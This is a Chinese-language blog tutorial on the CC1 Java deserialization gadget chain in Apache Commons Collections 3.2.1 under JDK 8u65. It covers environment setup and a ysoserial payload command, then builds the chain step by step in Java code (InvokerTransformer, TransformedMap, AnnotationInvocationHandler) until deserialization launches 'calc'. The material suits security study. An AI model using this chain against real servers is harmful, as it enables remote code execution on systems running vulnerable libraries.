【java安全】反序列化 - CC1链

java安全-反序列化-CC1链

CC1 是「Commons Collections 1」的简称,是 Java 反序列化漏洞中最经典、最基础 的利用链,核心利用 Apache Commons Collections 3.x(≤3.2.1)的漏洞,结合 JDK 自身的类(如 AnnotationInvocationHandler),实现反序列化触发任意代码执行。

前提:

CC1 链能生效的两个必要条件(缺一不可):

依赖 / 环境 要求 原因
Commons Collections 版本 3.2.1(≤3.2.1) 3.2.2 及以上修复了InvokerTransformer的反射调用限制(COLLECTIONS-580)
JDK 版本 8u71 及以下(如 8u65、8u71) 8u71 + 修复了AnnotationInvocationHandlerreadObject触发逻辑(JDK-8145066)

一、准备工作

首先导入依赖commons-collections

XML 复制代码
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

下载jdk1.8u65版本

地址:Java 存档下载 --- Java SE 8 | Oracle 中国

记得不要开翻译,不然点击该版本下载链接会下载到其他版本的jdk

下载sun包源码:

jdk8u/jdk8u/jdk: af660750b2f4 /

将下载的openjdk里 /share/classes/ 里面的 sun包 复制到 jdk1.8.0_65/src(需手动解压src.zip)里

在项目的结构的SDK中的源路径添加刚刚的src目录

下载commons-collections 3.2.1源码:Apache Archive Distribution Directory

将源码解压保存在本地的maven-repo仓库

来到项目,左边随便选择一个commons-collections库的文件,点击右上角的选择源

选择刚刚解压的源码目录即可

二、触发示例

使用ysoserial工具生成cc1链执行calc命令,并保存链到cc1.ser文件内

shell 复制代码
java.exe -jar ysoserial-all.jar CommonsCollections1 calc > cc1.ser

创建一个测试类,写入反序列化指定文件方法deserialize

java 复制代码
package com.qdy;

import java.io.*;

public class CC1Debug {
    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(o);
    }

    public static Object deserialize(String file) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
        Object o = ois.readObject();
        return o;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        deserialize("cc1.ser");
    }
}

将刚刚生成的恶意文件放入项目根路径后执行以上代码

成功执行指定命令calc

三、链分析

复制代码
InvokerTransformer.transform-》TransformedMap.checkSetValue-》AbstractInputCheckedMapDecorator$MapEntry.setValue-》AnnotationInvocationHandler.readObject

1、InvokerTransformer.transform

InvokerTransformer.transform源码如下

红框中的三行代码实现了类反射

java 复制代码
Class cls = input.getClass();  // 获取对象的类
Method method = cls.getMethod(iMethodName, iParamTypes); // 获取对象类的指定方法
return method.invoke(input, iArgs); // 对指定方法传入值

如果input、iMethodName、iParamTypes、iArgs这四个变量可控的话,即可实现执行任意类的方法

input是InvokerTransformer.transform方法传入的参数,可控

其他三个参数是构造方法传入的参数,也是可控的

按照如上分析可以构造如下代码,实现执行命令

java 复制代码
package com.qdy;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1Debug {

    public static void main(String[] args) {
        // 传入方法名、方法对应需要传入的类型、命令
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        // 传入对象
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

接下来找一下谁调用了InvokerTransformer.transform

可以发现有80多个结果,不过TransformedMap.checkSetValue才是可控的

2、TransformedMap.checkSetValue

TransformedMap.checkSetValue会调用valueTransformer.transform(value)方法

其中valueTransformer值来源于构造函数,是可控的

然后decorate方法调用了构造方法

但是这样还是没办法调用到checkSetValue方法,查看调用该方法的地方仅有一个

AbstractInputCheckedMapDecorator.MapEntry.setValue

AbstractInputCheckedMapDecorator 类继承AbstractMapDecorator ,而AbstractMapDecorator 实现了接口Map

所以我们想要调用setValue ,直接使用MapentrySet()方法遍历即可使用setValue方法即可

构造这里的链

java 复制代码
package com.qdy;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1Debug {

    public static void main(String[] args) {
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        HashMap hashMap = new HashMap();
        hashMap.put("a", "b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
        // 拿到所有键值对条目:为了调用每个条目的setValue
        for (Map.Entry entry : transformedMap.entrySet()) {
            entry.setValue(Runtime.getRuntime());
        }
    }
}

这样就成功利用InvokerTransformer.transform <- TransformedMap.checkSetValue链

接下来就是找入口,查找哪里存在重写了readObject方法的同时调用了setValue方法

3、AnnotationInvocationHandler.readObject

AnnotationInvocationHandler 类就重写了readObject方法,并且调用了steValue方法,所以就以这个类为入口

可以发现memberValues也是可控的,是由构造函数传入的

使用类反射加上前面的代码构造利用链

java 复制代码
package com.qdy;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1Debug {
    public static void serialize (Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
        oos.writeObject(obj);
    }
    public static void deserialize () throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1.ser"));
        ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );

//        invokerTransformer.transform(Runtime.getRuntime());
        HashMap hashMap = new HashMap();
        hashMap.put("a","b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null, invokerTransformer);
        transformedMap.put("xxx",Runtime.getRuntime());
        // 获取类
        Class classAih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取构造方法
        Constructor constructor = classAih.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true); // 关闭私有构造的访问检查,允许反射创建实例
        // 实例化
        Object obj = constructor.newInstance(Override.class,transformedMap);
        // 序列化
        serialize(obj);
        // 反序列化
        deserialize();
    }

}
相关推荐
智塑未来6 小时前
中小公司在线文档选型:从协作入口到安全边界
运维·安全
山东科恩光电6 小时前
提升橡塑行业安全性,科恩密佑KKL-01光敏传感器的应用优势与前景
安全
EXI-小洲7 小时前
Java 操作 Word:字符串替换、图片插入、动态生成表格与API接口下载
java·开发语言·spring boot·word
2601_961901708 小时前
SpringBoot使用Nacos进行application.yml配置管理
java·spring boot·spring
是隼人8 小时前
buuctf-pwn xdctf2015_pwn200题解(学习过程持续更新)
c语言·学习·安全·pwn入门·ctf入门
何以解忧,唯有..9 小时前
LangChain 工具调用(Tool Calling)实战指南
java·前端·langchain
QQ_21696290969 小时前
【源码编号:project79475】SpringBoot校内二手交易平台:商品发布、分类检索、留言交流、订单管理全流程实战
java·spring boot·后端
前端 贾公子10 小时前
第09章:上下文与记忆 (2)
java·服务器·前端
2601_9622035110 小时前
Java进阶07集合(续)
java·开发语言
郑州光合科技余经理11 小时前
本地生活服务系统:模块边界与结算字段怎么拆
java·开发语言·前端·后端·系统架构·uni-app·php